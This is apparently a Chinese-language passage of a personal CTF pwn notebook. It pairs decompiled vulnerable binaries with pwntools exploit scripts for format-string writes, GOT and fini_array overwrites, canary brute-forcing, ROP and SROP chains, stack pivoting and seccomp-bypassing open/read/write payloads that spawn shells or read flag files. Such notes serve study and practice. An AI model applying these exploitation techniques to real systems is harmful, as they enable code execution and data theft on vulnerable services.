char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("There is a gift for you %p\n", buf);
read(0, buf, 0x30uLL);
if ( w == 0xFFFF )
{
printf(buf);
w = 0;
}
return 0;
}
exp
read_got=0x403FE0
w=0x404010
main=0x401196
p.recvuntil(b'There is a gift for you ')
buf=int(p.recv(14),16)
print(hex(buf))
payload=b'%'+str(0x11ed).encode()+b'c%11$hn%19$p' #'%4589c%11$hn%19$p',0x11ed是改返回地址为
#printf("There is a gift for you %p\n", buf);,此时栈帧刚好不变
#这里是利用程序本身会进行一个ret操作把栈上的地址存入rip中,这个时候我们可以用格式化字符串漏洞去修改栈顶存储的地址就可以实现程序的再一次执行(而且这个地址是我们printf之后存入rip的,而且正好是把w的值变为0的那一个指令,这样既可以避免w被改为0,又可以让程序再次运行格式化字符串漏洞)
#获取libc_base非常简单,找到libc_base的偏移即可,调试发现是第19个(字符串偏移为6)直接“%19$p”打印即可。
payload=payload.ljust(0x28,b'\x00')
payload+=p64(buf-0x8)#%11$改的就是此处,用二级跳跃改了printf函数的返回地址
debug()
p.send(payload)
p.recvuntil(b'0x')
libc_start_main243=int(b'0x'+p.recv(12),16)
libc_start_main=libc_start_main243-243
libcbase=libc_start_main-libc.sym['__libc_start_main']
one=[0xe3afe,0xe3b01,0xe3b04]
onegadget=libcbase+one[1]
payload=b'%'+str(onegadget&0xff).encode()+b'c%10$hhn'+b'%'+str((onegadget>>8&0xffff)-1).encode()+b'c%11$hn'
#str((onegadget>>8&0xffff)-1)这里-1是因为刚好地址多了1
payload=payload.ljust(0x20,b'\x00')
payload+=p64(buf+0x68)+p64(buf+0x68+1)#buf+0x68是main返回地址
p.send(payload)
p.interactive()
测试题
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}
exp
- 利用格式化字符串漏洞,将
fini.array[0]
改写为main
函数地址,与此同时,将printf@got
改写为system@plt
,获得第二次执行main
函数的机会 - 输入
/bin/sh
获取shell
printf_got=e.got['printf']
sys_plt=0x80483d0
main=0x8048534
fini_arr=0x804979C
# 偏移为4
pa=b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(printf_got + 2) + p32(printf_got) + p32(fini_arr) #32位下每4个如%205为四字节
#2052是0x804,31692+2052是0x83d0改后地址是sys_plt,最后+356是0x8534
sl(pa)
pa=b'/bin/sh\x00'
sl(pa)
#原来想fmt,但改了fini_ar为main只能循环一次,连续2个fmt又太长
# pa=fmtstr_payload(4,{fini_arr:main})
# sl(pa)
# pa=fmtstr_payload(4,{printf_got:sys})
# sl(pa)
# pa=b'/bin/sh'
# sl(pa)
it()
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
vuln();
if ( secret == 0xDEADBEEF12345678LL )
system("/bin/sh");
return 0;
}
int vuln()
{
int result; // eax
while ( 1 )
{
result = strcmp(chr, "bye");
if ( !result )
break;
gets(chr);
printf(chr);
}
return result;
}
exp
from pwn import *
context(arch='amd64',os='Linux',log_level='debug')
s = process("./pwn")
elf = ELF("./pwn")
secret = elf.sym['secret']
payload = b"%13$p"
s.sendline(payload)
stack = int(s.recv(14),16)
success(hex(stack))
offset1 = 13
offset2 = 43
offset3 = 42
addr = stack-8
gdb.attach(s,"b *0x4006e5\nc")
#为什么下面先addr+2因为只有这样%43处存的才是addr->secret而不是addr+2,下面的for循环才不会改错
#&ffff是什么意思
#&操作如果二进制相应的位都是1,则结果的相应位也是1。如果任一相应的位是0,则结果的相应位是0。
#0xffff是一个十六进制的表示,等同于十进制的65535,其二进制形式为1111 1111 1111 1111
payload = "%{}c%13$hn".format((addr+2)&0xffff).encode()
s.sendline(payload)
payload = "%{}c%43$hhn".format((secret >> 16)&0xff).encode()
s.sendline(payload)
payload = "%{}c%13$hn".format((addr)&0xffff).encode()
s.sendline(payload)
payload = "%{}c%43$hn".format(secret&0xffff).encode()
s.sendline(payload)
value = 0xDEADBEEF12345678
target_addr = secret
for i in range(4):
tmp_value = value & 0xffff
tmp_addr = target_addr + i*2
tmp_addr = tmp_addr & 0xff
payload = "%{}c%43$hhn".format((tmp_addr)&0xffff).encode()
s.sendline(payload)
payload = "%{}c%42$hn".format(tmp_value).encode()
s.sendline(payload)
value = value >> 16 # >>16 是将目标的二进制左移16位,即去掉2字节(左移是因为数据在栈上是倒着存的,相对于正常人类读的方向)
s.sendline(b"bye")
s.interactive()
fmt模块
echo
题干(将printf改为system)
exp
from pwn import *
r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')
printf_got=elf.got['printf']
system_plt=elf.plt['system']
payload=fmtstr_payload(7,{printf_got:system_plt})
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()
fmtstr介绍(64位程序则要说明上下文context(arch='amd64',os='linux',word_size='64'))
fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
可以实现修改任意内存
fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的值})
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
实际上我们常用的形式是fmtstr_payload(offset,{address1:value1})
r2t4(利用stack check faill 函数,开canary用)
题干(有后门函数)
read(0, buf, 0x38uLL);
printf(buf);
unsigned __int64 backdoor()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
system("cat flag");
return __readfsqword(0x28u) ^ v1;
}
exp
from pwn import *
context(arch='amd64',os='linux',word_size='64')
backdoor = 0x0000000000400626
p = remote("node3.buuoj.cn",25583)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']
payload = fmtstr_payload(6, {__stack_chk_fail:backdoor})
#或者payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) +p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()
canary爆破
1.canary
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
pid_t pid; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
while ( 1 )
{
pid = fork();
if ( pid < 0 )
break;
if ( pid <= 0 )
vuln();
else
wait(0LL);
}
return 0;
void __cdecl vuln()
{
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v1; // [rsp+108h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts((__int64)"please input:");
read(0LL, buf, 512LL);
}
exp
from pwn import *
from LibcSearcher import *
import re
import time
from struct import pack
#context.log_level = 'debug'
r = process('./pwn')
#r = remote('121.196.193.233',49198)
pop_rax = 0x4493d7
canary = b'\x00'
for i in range(7):
for j in range(0, 256):
payload = b'a' * (0x108) + canary + p8(j)
r.send(payload)
time.sleep(0.01)
res = r.recv()
if ( b"stack smashing detected" not in res):
aprint(f'the {i} is {hex(j)}')
canary += p8(j)
break
print(f'Canary : {hex(u64(canary))}')
#gdb.attach(r)
p = b''
p = b'a'*0x108 + canary + b'a'*8
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e0) # @ .data
p += pack('<Q', 0x00000000004493d7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004437a0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004018c2) # pop rdi ; ret
p += pack('<Q', 0x00000000004c10e0) # @ .data
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004017cf) # pop rdx ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004437a0) # xor rax, rax ; ret
p += p64(pop_rax) #因为全是rax++会超出read函数范围
p += p64(59)
p += pack('<Q', 0x00000000004012d3) # syscall
#pause()
r.sendline(p)
r.interactive()
格式化字符串%*c
hgame2025 fmt
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[4]; // [rsp+0h] [rbp-10h] BYREF
unsigned int v5; // [rsp+4h] [rbp-Ch] BYREF
int v6; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
printf("you have n chance to getshell\n n = ");
if ( __isoc99_scanf("%d", &v6) <= 0 )
exit(1);
for ( i = 0; i < v6; ++i ) //v6是循环泄露地址的次数,在这一个循环要泄露出libc base
{
printf("type something:");
if ( __isoc99_scanf("%3s", format) <= 0 ) //只准输入3字节%p就3字节
exit(1);
printf("you type: ");
printf(format);
}
printf("you have n space to getshell(n<5)\n n = ");
__isoc99_scanf("%d\n", &v5);
if ( v5 <= 5 )
vuln(v5);
return 0;
}
exp
ru('you have n chance to getshell\n n = ')
sl(str(2))
sla(b"type something:", b'%*c')
sla(b"type something:", b'%s\0')
base=u64(ru(b'\x7f')[-6:]+b'\0\0')-libc.sym['_IO_2_1_stdin_'] #不能.ljust,
print('base is: '+hex(base))
#%*c第2个寄存器rsi的指针被输出是个非常大的值,输出被先写入缓冲区再输出。输出大量空格会填充缓冲区,缓冲区后边的指针每次都会重新写入。再次输出%s就会带出libc地址。
#*RSI 0x7fffffffbac0 ◂— 'you type: hing:ce to getshell\n n = '
-
%*c
的参数读取机制-
%*c
需要两个参数:宽度值(int)和字符(char)。 -
当参数不足时(如仅传递1个参数),
printf
会从调用约定指定的寄存器或栈中读取未定义值。 -
示例场景
C 复制 printf("%*c"); // 64位系统下,从RDI读取格式字符串地址,RSI、RDX读取垃圾值
- 若未传递宽度参数,
RSI
寄存器的值会被解释为宽度(可能为内存地址值 → 极大整数)。
- 若未传递宽度参数,
-
-
大宽度值的影响
-
若宽度值为
0x7ffffff0
(类似内存地址),
printf
会尝试输出约2GB的空格,导致:
- 缓冲区溢出:标准I/O缓冲区(通常4KB~8KB)被填满后反复刷新,可能触发堆内存异常。
- 内存泄露:通过观察输出长度,可反推寄存器/栈中残留的指针值(如Libc地址)。
-
重定向类
在Unix和类Unix操作系统中,重定向是一种将命令的输出或输入从一个标准位置(如标准输出和标准输入)重定向到另一个位置的技术。重定向使用特定的符号来改变命令的输入和输出流。
输出重定向
输出重定向通常用于将命令的输出保存到文件或重定向到另一个命令。以下是一些常用的输出重定向符号:
-
>
:将输出重定向到一个文件,并覆盖原有内容。ls > output.txt
-
>>
:将输出追加到一个文件,而不是覆盖原有内容。ls >> output.txt
-
2>
:将错误输出重定向到一个文件。ls 2> errors.txt
-
2>>
:将错误输出追加到一个文件。ls 2>> errors.txt
输入重定向
cat < input.txt
:这会将input.txt
文件的内容作为cat
命令的输入,并将其输出到标准输出(通常是屏幕)。cat < input.txt
:这会将input.txt
文件的内容作为cat
命令的输入,并将其输出到标准输出(通常是屏幕)。
c
basectf echo
题目只允许用echo命令
echo `< /flag`
或
a = $(< /flag)
echo a
或
$a ;连echo都不用
srop
1.seccomp(orw)
题干
__int64 sub_40119E() //对一些系统调用进行禁用,在此函数中系统调用号代表的函数才可以使用
{
__int64 result; // rax
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if ( !v1 )
{
perror("seccomp_init");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL) < 0 )//write
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 )//read
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 )//exit
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 )//chmod
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 )//open
{
perror("seccomp_rule_add");
exit(1);
}
if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 )//sig_ret
{
perror("seccomp_rule_add");
exit(1);
}
result = seccomp_load(v1);
if ( (int)result < 0 )
{
perror("seccomp_load");
exit(1);
}
return result;
}
__int64 sub_40136E()
{
char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF
v2[0] = 0x6F6E6B2075206F44LL;
v2[1] = 0x6920746168772077LL;
v2[2] = 0xA3F444955532073LL;
strcpy(v1, "easyhack\n");
syscall(1LL, 1LL, v1, 9LL);
syscall(0LL, 0LL, &bss, 4096LL);
syscall(1LL, 1LL, v2, 24LL);
syscall(0LL, 0LL, v1, 58LL);
return 0LL;
}
exp
mov_rax_0xf这些代码在哪里找到的?
左侧这些函数就包含下列指令,是hints.
from pwn import*
context(arch='amd64',os='Linux',log_level='debug')
p=process('./chall')
elf = ELF('./chall')
rop = ROP(elf)
#gadgets
mov_rax_0xf = 0x401193 #
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address #only syscall在401186函数中找到也可即syscall_addr = 0x40118A
#.text:0000000000401186 sub_401186 proc near
#.text:0000000000401186 ; __unwind {
#.text:0000000000401187 48 89 E5 mov rbp, rsp
#.text:000000000040118A 0F 05 syscall #就是syscall_addr ; LINUX -
#.text:000000000040118C 90 nop
#.text:000000000040118D 5D pop rbp
#.text:000000000040118E C3 retn
syscall_ret_addr = 0x401186 #full function见上注释
#rsi
data_addr = 0x404000 #用来保存文件名进行open函数
bss_addr = 0x404060
#init frame rsp间的偏移为280 264 264 264,因为SigreturnFrame大小为0x100=256见上图
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = data_addr
frame_read_1.rdx = 0x5a
frame_read_1.rsp = 0x404178 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_1.rip = syscall_ret_addr #系统调用read函数
frame_chmod = SigreturnFrame()
frame_chmod.rax = 0x5a
frame_chmod.rdi = data_addr
frame_chmod.rsi = 7
frame_chmod.rsp = 0x404280 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_chmod.rip = syscall_ret_addr
frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = data_addr
frame_open.rsi = constants.O_RDONLY
frame_open.rdx = 0
frame_open.rsp = 0x404388 # 指向payload中邻接的mov_rax_0xf在bss段的地址
#flag文件是没有read权限的,srop要先调用chmod改flag文件权限,再orw输出flag文件内容
#srop的frame直接写到bss段
#payload2的作用是栈迁移到bss段启动srop
frame_open.rip = syscall_ret_addr
#read flag
frame_read_2 = SigreturnFrame()
frame_read_2.rax = 0
frame_read_2.rdi = 3
frame_read_2.rsi = 0x405000
frame_read_2.rdx = 0x30
frame_read_2.rsp = 0x404490 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_2.rip = syscall_ret_addr
frame_write = SigreturnFrame()
frame_write.rax = 0x01
frame_write.rdi = 1
frame_write.rsi = 0x405000
frame_write.rdx = 0x30
frame_write.rip = syscall_addr
#bss
payload1 = p64(ret_addr) + p64(ret_addr)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_1)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_chmod)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_open)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_2)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_write)
p.recvuntil(b'easyhack\n')
p.send(payload1)
#Stack Migration
payload2 = b'a' * 42 + p64(bss_addr) + p64(leave_ret)
p.recvuntil(b"Do u know what is SUID?\n")
p.send(payload2)
p.send(b'./flag\x00'.ljust(0x5a,b'\x00')) #一定\x00截断
p.interactive()
2.题干
xyctf simple_srop
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
read(0, buf, 0x200uLL);
return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
# context.terminal = ['byobu', 'sp', '-h']
file_name = "./vuln"
e = ELF(file_name)
p= process(file_name)
#libc = ELF('')
#p = gdb.debug(file_name,"b *Menu+113")
#p = remote('',)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
u32 = lambda data : u32(data.ljust(4, b'\x00'))
u64 = lambda data : u64(data.ljust(8, b'\x00'))
syscall_ret=0x40129d
rax_0xf=0x401296
bss= 0x4040d0
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = bss
frame_read_1.rdx = 0x1000
frame_read_1.rsp = 0x4040d8 #
frame_read_1.rip = syscall_ret
frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = bss
frame_open.rsi = 0
frame_open.rdx = 0
frame_open.rsp = 0x4041d8 #加了0x100是因为一个frame大小就是0x100
frame_open.rip = syscall_ret
frame_rf = SigreturnFrame()
frame_rf.rax = 0x28
frame_rf.rdi = 1
frame_rf.rsi = 3
frame_rf.rdx = 0
frame_rf.rip = syscall_ret
frame_rf.r10 = 0x100
pa=b'a'*0x28+p64(rax_0xf)+bytes(frame_read_1)
sd(pa)
pa=b'flag\x00\x00\x00\x00'+p64(rax_0xf)+bytes(frame_open)
#pa=pa.ljust(0x200,b'\x00')
pa+=p64(rax_0xf)+bytes(frame_rf)
sd(pa)
it()
orw
有nx保护的话有rwx段才可用,无nx直接栈上 asm(shellcraft.sh())不需要p32打包
1.invisable_flag
(禁用了orw和execve)想用readfile
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+8h] [rbp-118h]
init();
addr = mmap(0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == -1LL )
{
puts("ERROR");
return 1;
}
else
{
puts("show your magic again");
read(0, addr, 0x200uLL);
sandbox();
(addr)();
return 0;
}
}
exp
from pwn import *
p = process('./vuln')
#p = remote('')
elf = ELF('./vuln')
context.update(arch='amd64', os='linux',log_level='debug')
sh = shellcraft.openat(-100,"./flag",0)+shellcraft.sendfile(1,3,0,0x100)
sh = asm(sh)
p.send(sh)
p.interactive()
2.maimai计数器(attachment)保护全开(pie绕过(即泄露libc),orw,)
题干
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
int v4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
v4 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 1 )
break;
Calculate();
v4 = 1;
}
if ( v3 == 2 && v4 )
{
Compare();
}
else
{
if ( v3 != 2 || v4 )
{
puts("Invalid option.");
exit(0);
}
puts("Calculate your rating first.");
}
}
}
细节
泄露libc地址在%33
stack(来放flag)恰好要是最后一次发payload的位置,偏移=5e0-650, stack=ebp+偏移=0x70
exp
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
p = process('./pwn')
#p = remote('node.nkctf.yuzhian.com.cn', 30995)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p.recvuntil(b'Select a option:\n')
p.sendline(b'1')
p.recvuntil(b'Input chart level and rank.')
for i in range(50):
p.sendline(b'16.0')
p.sendline(b'SSS+')
#leak canary&libc
p.sendlineafter("Select a option:", '2')
p.sendlineafter("Input your nickname.", "%33$p")
#为什么libc在33位:ji
p.recvuntil("0x")
libc_address = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 128
p.sendlineafter("play maimai?", "AAAA")
p.sendlineafter("Select a option:", '2')
p.sendlineafter("Input your nickname.", "%7$p")
p.recvuntil("0x")
canary = int(p.recv(16), 16)
print(hex(canary))
print(hex(libc_address))
pop_rdi = libc_address+ 0x2a3e5#这些偏移均是在libc库找到而不是pwn文件
pop_rsi = libc_address + 0x2be51
pop_rdx_r12 = libc_address + 0x11f2e7
sys=libc_address+libc.sym['system']
bin = libc_address+next(libc.search(b'/bin/sh'))
ret = libc_address +0x29139#因为栈没平衡末尾是8,偏移也是在lbc库中找不用pwn文件的,因为泄露了libc基地址但没算pie pwn文件会地址错误,而用libc中的则不用算pie
p.send(b'n')
p.sendline(b"2")
p.sendlineafter("Input your nickname.", "%8$p")
p.recvuntil("0x")
ebp = int(p.recv(12), 16)
stackofs=0x7ffde64c14d0-0x7ffde64c1540#0x70
flg=ebp+stackofs#见图二
print("ebp:"+hex(ebp))
print("stack:"+hex(flg))
#想用system但是cat flag被禁用只能orw了,但open也被禁用用openat代替。openat :当第二个参数为绝对地址时第一个参数无效。
#payload = b"A"*0x28 + p64(canary) +b'a'*8+p64(ret) +p64(pop_rdi) + p64(bin) + p64(sys)
#p.sendafter("play maimai?\n", payload)
read = libc_address + libc.sym['read']
openat = libc_address + libc.sym['openat']
puts = libc_address + libc.sym['puts']
payload=b'/flag\0\0\0'+b'a'*32+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flg+40+0x50)+p64(pop_rdx_r12)+p64(0x1000)*2+p64(read) #\0\0\0为了占满8字节,p64(flg+40+0x50)恰好将read地址下在这段payload之后
p.send(payload)
pa=p64(pop_rsi)+p64(flg)+p64(pop_rdx_r12)+p64(0)*2+p64(openat)
pa+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flg)+p64(pop_rdx_r12)+p64(0x40)*2+p64(read)
pa+=p64(pop_rdi)+p64(flg)+p64(puts)
p.send(pa)
p.interactive()
3.见伪随机绕过例题
4.强网拟态sign revenf
exp
rdi=0x0000000000401393
puts_p=e.plt['puts']
puts_g=e.got['puts']
read=0x00000000004012CF#是代码段那个read(0, buf, 0x40uLL);
bss=0x404060+0x100
leave_ret=0x00000000004012be
ret=0x000000000040101a
p.recvuntil(b"lets move and pwn!\n")
payload = b"a" *0x100 + p64(bss+0x100)+p64(read) #bss+0x30是为了和buf的-0x30抵消,刚好从bss写入内容
sd(payload)
pa=p64(bss+0x200+0x100+0x400)+p64(rdi)+p64(puts_g)+p64(puts_p)+p64(read) #迁移到bss+0x200+0x30+0x400
pa=pa.ljust(0x100,b'\x00')+p64(bss)+p64(leave_ret)
# debug()
sd(pa)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
base = puts_addr - libc.symbols['puts']
print(hex(base))
read=base+libc.sym['read']
write=base+libc.sym['write']
open_=base+libc.sym['open']
rsi=base+0x2601f
rdx=base+0x142c92
buf=bss+0x200+0x100+0x400-0x100
payload = b'flag'
payload=payload.ljust(8,b'\x00')
# open flag
payload += p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)
# read flag
payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x30) + p64(read)
# write flag
payload += p64(rdi) + p64(1) + p64(write)
payload=payload.ljust(0x100,b'\x00')+p64(bss+0x200+0x400)+p64(leave_ret)
# debug()
sd(payload)
it()
源鲁canary_orw ;sys_read函数
canary_orw
-
看到栈可执行
-
同时看到题目给了有jmp rsp的gadget,限制了execve系统调用,需要orw,一开始思路就是往栈上写入shellcode然后跳转过去执行
-
在vuln函数中还有个任意地址写8字节(sys_read),因为buf读入的数据长度是0x10,因此可以覆盖到v3,sys_read(0, v3, 8uLL);就是任意地址写8字节
-
因为没有leak的途径,因此显然需要利用这个任意地址写8字节来覆盖stack_fail_got为一个函数,进而绕过canary
-
同时注意这里的v4是rsp+0x20,所以我一直没找到合适的方法来控制rsp指向shellcode进而jmp rsp,所以需要改变思路
-
我们可以覆盖stack_fail_got为一个pop 3;ret,这样就可以执行v4读入的ROP链写leak出libcbase,同时再一次进入vuln函数利用这个任意地址写8字节往bss写入'flag\x00\x00\x00\x00'字符串,然后再次执行v4读入的ROP链进行ORW就打通了
exp
vuln=0x400820
stack_fail_got=0x601038
pop_rdi=0x400a63
pop_rsi_r15=0x400a61
read_got=0x601040
write_addr=0x4006E0
pa=p64(vuln)
sd(pa)
p.sendafter("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(stack_fail_got))
p.sendafter("I have magic\n",p64(0x400a5f)) #pop 3
payload=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(write_addr)+p64(vuln)
# debug()
p.sendafter("Let's go!\n",payload)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x10e1e0
print(hex(libcbase))
bss=0x601060+0x800
p.sendafter("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(bss))
p.sendafter("I have magic\n",b'flag\x00\x00\x00\x00') #pop 3
pop_rax=libcbase+0x36174
pop_rdx_r12=libcbase+0x119431
syscall_ret=libcbase+0x47656 #syscall pop_rbp ret
payload=p64(pop_rdi)+p64(bss)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall_ret)+p64(0) #open
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(0)+p64(syscall_ret)+p64(0)#read
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(1)+p64(syscall_ret)+p64(0)
debug()
p.sendafter("Let's go!\n",payload)
it()
自动攻击ROPgadget --binary './' --ropchain
-
rop
题干int overflow() { char v1[12]; // [esp+Ch] [ebp-Ch] BYREF return gets(v1); }
exp(from struct import pack要引入)
利用ROPgadget --binary './' --ropchain,会生成一串rop可以用来那拿shell
struct.pack()
函数用于根据指定的格式将值打包到一个字节对象中。它通常用于二进制数据处理、网络通信以及处理二进制文件格式等任务。以下是
struct.pack()
函数的简要说明:- 函数的第一个参数是格式字符串,它指定了数据的格式。该格式字符串定义了值应该如何被打包。
- 后续的参数是要打包到字节对象中的值。
- 函数返回一个包含按照指定格式打包的二进制数据的字节对象。
以下是一个简单的示例:
pythonCopy codefrom struct import pack # 将整数和浮点数打包成二进制格式 packed_data = pack('i f', 42, 3.14) print(packed_data) # 输出: b'*\x00\x00\x00\xcd\xcc@'
在这个示例中:
'i f'
是格式字符串,其中'i'
表示一个4字节的整数,'f'
表示一个4字节的浮点数。42
是要打包的整数值。3.14
是要打包的浮点数值。
结果中的
packed_data
是一个包含按照指定格式打包的二进制数据的字节对象。struct.pack()
在需要准备要写入文件、发送到网络或者与低级二进制协议交互时特别有用。pack('<I', 0x0806ecda)
这个代码片段使用了 Python 的struct.pack()
函数,它的作用是将一个 32 位无符号整数(I
)0x0806ecda
打包成小端字节序(<
)的二进制数据。在这个上下文中,
0x0806ecda
是一个内存地址,而pack('<I', 0x0806ecda)
将其转换为二进制格式以便在编写针对漏洞的利用时使用。通常,
0x0806ecda
这样的内存地址在漏洞利用中用于构造 Return-Oriented Programming(ROP)链,这是一种利用现有程序代码片段(通常称为gadgets)来执行特定操作的方法。在这个例子中,0x0806ecda
可能是一个内存中的地址,指向一个pop edx ; ret
的指令序列。pop edx
是一个常见的指令序列,它将堆栈中的值弹出并存储到寄存器edx
中,然后ret
指令将程序的控制流返回到栈中弹出的地址,这样就可以控制程序的执行流程。所以,
pack('<I', 0x0806ecda)
可能是在准备一个 ROP 链的一部分,用于利用某个漏洞或者对程序进行攻击。from pwn import* from struct import pack io=remote('node4.buuoj.cn',29616) p = b'a'*(0xc+4) p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx 